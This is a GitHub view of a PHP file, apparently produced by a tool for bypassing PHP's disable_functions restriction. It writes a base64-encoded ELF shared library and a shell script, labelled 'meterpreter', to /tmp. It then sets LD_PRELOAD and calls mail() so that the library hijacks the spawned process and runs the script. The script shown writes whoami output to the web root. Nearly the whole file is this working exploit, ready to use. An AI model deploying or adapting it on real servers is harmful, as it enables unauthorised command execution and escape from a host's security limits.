-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexample.php
11 lines (10 loc) · 9.87 KB
/
example.php
1
2
3
4
5
6
7
8
9
10
11
<?php
$hook = 'f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAgAUAADQAAAD0FwAAAAAAADQAIAAHACgAHQAcAAEAAAAAAAAAAAAAAAAAAACUCAAAlAgAAAUAAAAAEAAAAQAAAPwOAAD8HgAA/B4AADgBAAA8AQAABgAAAAAQAAACAAAADA8AAAwfAAAMHwAA4AAAAOAAAAAGAAAABAAAAAQAAAAUAQAAFAEAABQBAAAkAAAAJAAAAAQAAAAEAAAAUOV0ZKAHAACgBwAAoAcAADQAAAA0AAAABAAAAAQAAABR5XRkAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAEAAAAFLldGT8DgAA/B4AAPweAAAEAQAABAEAAAQAAAABAAAABAAAABQAAAADAAAAR05VAKQiyIF+4liZljIen1jpqzps+jz3AwAAAA0AAAACAAAABgAAAIiAIFUCxGAJDQAAABEAAAATAAAAQkXV7GBdvVzea5WAu+OSfNhxWBy5jfEO6tPvDhufiAsAAAAAAAAAAAAAAAAAAAAAsgAAAAAAAAAAAAAAEgAAABwAAAAAAAAAAAAAACAAAACXAAAAAAAAAAAAAAASAAAAUgAAAAAAAAAAAAAAIgAAAHkAAAAAAAAAAAAAABIAAACGAAAAAAAAAAAAAAASAAAAAQAAAAAAAAAAAAAAIAAAAKMAAAAAAAAAAAAAABIAAACeAAAAAAAAAAAAAAASAAAAYQAAAAAAAAAAAAAAIAAAADgAAAAAAAAAAAAAACAAAACAAAAAAAAAAAAAAAASAAAAxQAAADQgAAAAAAAAEAAXAI0AAAAJBwAAOgAAABIADACoAAAAQwcAADQAAAASAAwA2AAAADggAAAAAAAAEAAYAMwAAAA0IAAAAAAAABAAGAAQAAAArAQAAAAAAAASAAkAFgAAAHgHAAAAAAAAEgANAHUAAACwBgAAWQAAABIADAAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBwd24AZ2V0ZW52AGNobW9kAHN5c3RlbQBkYWVtb25pemUAc2lnbmFsAGZvcmsAZXhpdABwcmVsb2FkbWUAdW5zZXRlbnYAbGliYy5zby42AF9lZGF0YQBfX2Jzc19zdGFydABfZW5kAEdMSUJDXzIuMS4zAEdMSUJDXzIuMAAAAAACAAAAAgADAAIAAgAAAAIAAgAAAAAAAgABAAEAAQABAAEAAQABAAEAAAABAAIAuwAAABAAAAAAAAAAcx9pCQAAAwDdAAAAEAAAABBpaQ0AAAIA6QAAAAAAAAD8HgAACAAAAAQfAAAIAAAAMCAAAAgAAAAAHwAAAQ8AAOwfAAAGAgAA8B8AAAYEAAD0HwAABgcAAPgfAAAGCgAA/B8AAAYLAAAMIAAABwEAABAgAAAHAwAAFCAAAAcOAAAYIAAABxQAABwgAAAHBQAAICAAAAcGAAAkIAAABwgAACggAAAHCQAALCAAAAcMAABTg+wI6MsAAACBw0sbAACLg/T///+FwHQF6K4AAACDxAhbwwD/swQAAAD/owgAAAAAAAAA/6MMAAAAaAAAAADp4P////+jEAAAAGgIAAAA6dD/////oxQAAABoEAAAAOnA/////6MYAAAAaBgAAADpsP////+jHAAAAGggAAAA6aD/////oyAAAABoKAAAAOmQ/////6MkAAAAaDAAAADpgP////+jKAAAAGg4AAAA6XD/////oywAAABoQAAAAOlg/////6Pw////ZpD/o/T///9mkIscJMNmkGaQZpBmkGaQZpDoFwEAAIHCaxoAAI2KNAAAAI2CNwAAACnIg/gGdheLguz///+FwHQNVYnlg+wUUf/Qg8QQyfPDifaNvCcAAAAA6NcAAACBwisaAABVjYo0AAAAjYI0AAAAieVTKcjB+AKD7ASJw8HrHwHY0fh0FIuS/P///4XSdAqD7AhQUf/Sg8QQi138ycOJ9o28JwAAAABVieVT6Ff///+Bw9cZAACD7ASAuzQAAAAAdSeLg/D///+FwHQRg+wM/7MwAAAA6B3///+DxBDoNf///8aDNAAAAAGLXfzJw4n2jbwnAAAAAOg3AAAAgcKLGQAAjYII////iwiFyXUJ6UT///+NdCYAi5L4////hdJ07VWJ5YPsFFD/0oPEEMnpJP///4sUJMNVieVTg+wE6MT+//+Bw0QZAACD7AyNg4zn//9Q6E/+//+DxBCD7Aho/wEAAFDofv7//4PEEIPsDI2DjOf//1DoLP7//4PEEIPsDFDoMP7//4PEEJCLXfzJw1WJ5VOD7AToa/7//4HD6xgAAIPsCGoBagHoyf3//4PEEOgh/v//hcB0CoPsDGoA6AP+//+Qi138ycNVieVTg+wE6DH+//+Bw7EYAACD7AyNg5Tn//9Q6Hz9//+DxBDolP3//+if/f//kItd/MnDAFOD7Ajo//3//4HDfxgAAIPECFvDQ0hBTktSTwBMRF9QUkVMT0FEAAABGwM7MAAAAAUAAAAw/f//TAAAAND9//9wAAAAEP///4QAAABp////qAAAAKP////MAAAAFAAAAAAAAAABelIAAXwIARsMBASIAQAAIAAAABwAAADc/P//oAAAAAAOCEYODEoPC3QEeAA/GjsqMiQiEAAAAEAAAABY/f//EAAAAAAAAAAgAAAAVAAAAIT+//9ZAAAAAEEOCIUCQg0FRIMDAlHFwwwEBAAgAAAAeAAAALn+//86AAAAAEEOCIUCQg0FRIMDcsXDDAQEAAAgAAAAnAAAAM/+//80AAAAAEEOCIUCQg0FRIMDbMXDDAQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwBgAAAAAAACAGAAAAAAAAAQAAALsAAAAMAAAArAQAAA0AAAB4BwAAGQAAAPweAAAbAAAACAAAABoAAAAEHwAAHAAAAAQAAAD1/v9vOAEAAAUAAADMAgAABgAAAHwBAAAKAAAA8wAAAAsAAAAQAAAAAwAAAAAgAAACAAAASAAAABQAAAARAAAAFwAAAGQEAAARAAAAHAQAABIAAABIAAAAEwAAAAgAAAD+//9v7AMAAP///28BAAAA8P//b8ADAAD6//9vAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwfAAAAAAAAAAAAAOYEAAD2BAAABgUAABYFAAAmBQAANgUAAEYFAABWBQAAZgUAADAgAABHQ0M6IChEZWJpYW4gNi4zLjAtMTgrZGViOXUxKSA2LjMuMCAyMDE3MDUxNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQBAAAAAAAAAwABAAAAAAA4AQAAAAAAAAMAAgAAAAAAfAEAAAAAAAADAAMAAAAAAMwCAAAAAAAAAwAEAAAAAADAAwAAAAAAAAMABQAAAAAA7AMAAAAAAAADAAYAAAAAABwEAAAAAAAAAwAHAAAAAABkBAAAAAAAAAMACAAAAAAArAQAAAAAAAADAAkAAAAAANAEAAAAAAAAAwAKAAAAAABwBQAAAAAAAAMACwAAAAAAgAUAAAAAAAADAAwAAAAAAHgHAAAAAAAAAwANAAAAAACMBwAAAAAAAAMADgAAAAAAoAcAAAAAAAADAA8AAAAAANQHAAAAAAAAAwAQAAAAAAD8HgAAAAAAAAMAEQAAAAAABB8AAAAAAAADABIAAAAAAAgfAAAAAAAAAwATAAAAAAAMHwAAAAAAAAMAFAAAAAAA7B8AAAAAAAADABUAAAAAAAAgAAAAAAAAAwAWAAAAAAAwIAAAAAAAAAMAFwAAAAAANCAAAAAAAAADABgAAAAAAAAAAAAAAAAAAwAZAAEAAAAAAAAAAAAAAAQA8f8MAAAACB8AAAAAAAABABMAGQAAAJAFAAAAAAAAAgAMABsAAADQBQAAAAAAAAIADAAuAAAAIAYAAAAAAAACAAwARAAAADQgAAABAAAAAQAYAFMAAAAEHwAAAAAAAAEAEgB6AAAAcAYAAAAAAAACAAwAhgAAAPweAAAAAAAAAQARAKUAAAAAAAAAAAAAAAQA8f8BAAAAAAAAAAAAAAAEAPH/rAAAAJAIAAAAAAAAAQAQALoAAAAIHwAAAAAAAAEAEwAAAAAAAAAAAAAAAAAEAPH/xgAAAIAFAAAEAAAAAgAMANwAAACsBgAAAAAAAAIADADyAAAAMCAAAAAAAAABABcA/wAAAAwfAAAAAAAAAQAUAAgBAACgBwAAAAAAAAAADwAbAQAANCAAAAAAAAABABcAJwEAAAAgAAAAAAAAAQAWAD0BAAAAAAAAAAAAABIAAABRAQAAAAAAAAAAAAAgAAAAbQEAADQgAAAAAAAAEAAXAHQBAAAAAAAAAAAAABIAAACGAQAACQcAADoAAAASAAwAkAEAAHgHAAAAAAAAEgANAJYBAAAAAAAAAAAAACIAAACyAQAAsAYAAFkAAAASAAwAtgEAAAAAAAAAAAAAEgAAAMgBAAAAAAAAAAAAABIAAADaAQAAAAAAAAAAAAAgAAAA6QEAAAAAAAAAAAAAEgAAAPkBAABDBwAANAAAABIADAADAgAAOCAAAAAAAAAQABgACAIAADQgAAAAAAAAEAAYABQCAAAAAAAAAAAAABIAAAAkAgAAAAAAAAAAAAAgAAAAOAIAAAAAAAAAAAAAIAAAAFICAAAAAAAAAAAAABIAAABjAgAArAQAAAAAAAASAAkAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjU4NwBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX194ODYuZ2V0X3BjX3RodW5rLmJ4AF9feDg2LmdldF9wY190aHVuay5keABfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwB1bnNldGVudkBAR0xJQkNfMi4wAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAc2lnbmFsQEBHTElCQ18yLjAAZGFlbW9uaXplAF9maW5pAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjEuMwBwd24AZ2V0ZW52QEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4wAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGZvcmtAQEdMSUJDXzIuMABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAY2htb2RAQEdMSUJDXzIuMABfaW5pdAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnBsdC5nb3QALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuamNyAC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAABQBAAAUAQAAJAAAAAAAAAAAAAAABAAAAAAAAAAuAAAA9v//bwIAAAA4AQAAOAEAAEQAAAADAAAAAAAAAAQAAAAEAAAAOAAAAAsAAAACAAAAfAEAAHwBAABQAQAABAAAAAEAAAAEAAAAEAAAAEAAAAADAAAAAgAAAMwCAADMAgAA8wAAAAAAAAAAAAAAAQAAAAAAAABIAAAA////bwIAAADAAwAAwAMAACoAAAADAAAAAAAAAAIAAAACAAAAVQAAAP7//28CAAAA7AMAAOwDAAAwAAAABAAAAAEAAAAEAAAAAAAAAGQAAAAJAAAAAgAAABwEAAAcBAAASAAAAAMAAAAAAAAABAAAAAgAAABtAAAACQAAAEIAAABkBAAAZAQAAEgAAAADAAAAFgAAAAQAAAAIAAAAdgAAAAEAAAAGAAAArAQAAKwEAAAjAAAAAAAAAAAAAAAEAAAAAAAAAHEAAAABAAAABgAAANAEAADQBAAAoAAAAAAAAAAAAAAAEAAAAAQAAAB8AAAAAQAAAAYAAABwBQAAcAUAABAAAAAAAAAAAAAAAAgAAAAAAAAAhQAAAAEAAAAGAAAAgAUAAIAFAAD3AQAAAAAAAAAAAAAQAAAAAAAAAIsAAAABAAAABgAAAHgHAAB4BwAAFAAAAAAAAAAAAAAABAAAAAAAAACRAAAAAQAAAAIAAACMBwAAjAcAABMAAAAAAAAAAAAAAAEAAAAAAAAAmQAAAAEAAAACAAAAoAcAAKAHAAA0AAAAAAAAAAAAAAAEAAAAAAAAAKcAAAABAAAAAgAAANQHAADUBwAAwAAAAAAAAAAAAAAABAAAAAAAAACxAAAADgAAAAMAAAD8HgAA/A4AAAgAAAAAAAAAAAAAAAQAAAAEAAAAvQAAAA8AAAADAAAABB8AAAQPAAAEAAAAAAAAAAAAAAAEAAAABAAAAMkAAAABAAAAAwAAAAgfAAAIDwAABAAAAAAAAAAAAAAABAAAAAAAAADOAAAABgAAAAMAAAAMHwAADA8AAOAAAAAEAAAAAAAAAAQAAAAIAAAAgAAAAAEAAAADAAAA7B8AAOwPAAAUAAAAAAAAAAAAAAAEAAAABAAAANcAAAABAAAAAwAAAAAgAAAAEAAAMAAAAAAAAAAAAAAABAAAAAQAAADgAAAAAQAAAAMAAAAwIAAAMBAAAAQAAAAAAAAAAAAAAAQAAAAAAAAA5gAAAAgAAAADAAAANCAAADQQAAAEAAAAAAAAAAAAAAABAAAAAAAAAOsAAAABAAAAMAAAAAAAAAA0EAAALQAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAgAAAAAAAAAAAAAAZBAAADAEAAAbAAAALwAAAAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAJQUAABpAgAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAD9FgAA9AAAAAAAAAAAAAAAAQAAAAAAAAA=';
$meterpreter = 'Iy9iaW4vYmFzaAoKd2hvYW1pID4gL3Zhci93d3cvaHRtbC93aG9hbWkudHh0';
file_put_contents('/tmp/myname.so', base64_decode($hook));
file_put_contents('/tmp/acpid.socket', base64_decode($meterpreter));
putenv('CHANKRO=/tmp/acpid.socket');
putenv('LD_PRELOAD=/tmp/myname.so');
$m_res = mail('a','a','a','a');
if(!$m_res) { mb_send_mail('a','a','a','a'); };
?>